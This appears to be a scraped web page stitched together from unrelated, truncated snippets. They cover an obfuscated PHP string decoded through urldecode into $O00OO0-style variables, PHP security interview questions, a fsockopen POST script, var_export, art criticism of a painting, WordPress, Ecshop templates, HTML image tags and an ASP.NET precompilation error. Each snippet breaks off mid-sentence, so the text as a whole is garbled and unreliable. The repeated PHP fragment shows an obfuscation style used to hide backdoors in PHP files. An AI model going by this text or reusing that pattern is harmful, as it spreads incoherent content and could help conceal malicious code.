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Why is such code in the PHP file? What does it mean? Lt ;? Nbsp; $ O00OO0 = urldecode ("% 6E1% 7A % 62% 2F % 6D % 615% 5C % 76% 740% 6928% 2D % 70% 78% 75% 71% 2A6% 6C % 79% 6B % 72% 64% 5F % 65% 68% 63% 7 Why is such code in the PHP file?

PHP is an efficient and flexible language without a fixed framework, it leaves the security issue to programmers. A deep understanding of potential security vulnerabilities, such as XSS, CSRF, code injection, and character encoding loops, it is crucial for today's professional programmers. When the applicant answers these questions, I can clearly know whether t

Copy CodeThe code is as follows: post.phpfunction Post ($host, $port){$host = "127.0.0.1";Establish a connection$conn = Fsockopen ($host, $port);if (! $conn){Die ("Con error");}Send 5 data in a loop//for ($i = 0; $i {$data = "User_name=admin". $i;WriteData ($conn, $host, $data);echo $i. "";}Fclose ($conn);}function WriteData ($conn, $host, $data){$header = "post/test.php http/1.1\r\n";$header. = "Host:

Mixedvar_export (mixed $ expression [, bool $ return]) This function returns structure information about the variables passed to this function, which is similar to var_dump, the difference is that the returned representation is a valid PHP code. Q: What

Why is such code in the PHP file? What does it mean? Lt ;? Nbsp; $ O00OO0urldecode (% 6E1% 7A % 62% 2F % 6D % 615% 5C % 76% 740% 2D % 6928% 70% 78% 75% 2A6% 6C % 71% 6B % 79% 5F % 72% 64% 679% 73% 77% 6F4% 2B % 6637% 6A ); $ O00O0O $ O00OO0 {why is such code in the PHP fil

column as the central landscape building to add a solemn sense in the painting. Pierre created an artistic realm in a sense by combining illusion and reality, and in a romantic sense. It can be said that this is an artistic manifestation of the transition from classical to romantic. Although this painting is based on Greek mythology, the painter does not seem to pay attention to the portrayal of the story

this time, my thoughts completely changed. For software like WordPress, they considered a lot of things, including expansion and Data Processing. What people wrote was already on the server side. Although the Code is refined to a little more MB, it is not as simple as small. On the contrary, to implement such a functi

How do I call a method in a. dwt file in Ecshop, what is the code? How do I call a method in a. dwt file in Ecshop, what is the code? Is it written in a. dwt? function A () {$smarty->as

This article is mainly about the HTML to add a picture of the Code interpretation Analysis, as well as the correct use of HTML image path, let's take a look at this article First, let's look at the code for adding a picture in HTML: HTML added to the picture is the Let's look at the correct use of the IMG tag to dete

original problem : Today will be written a copy of a website source directory to another computer, but open prompt:You want to open a precompiled Web site, you can view the site, but making changes to it may cause the site to stop running, to modify the site, it is recommended that you edit the files in the original web site, then precompile the site, and finally republish the site.As a result, I continue to open, can compile the source

What is the essence of project and code learning for programmers? It is easy to learn. It is difficult to achieve this.Novice programmers found themselves stealing ideas from other projects in recent projects. Of course, it is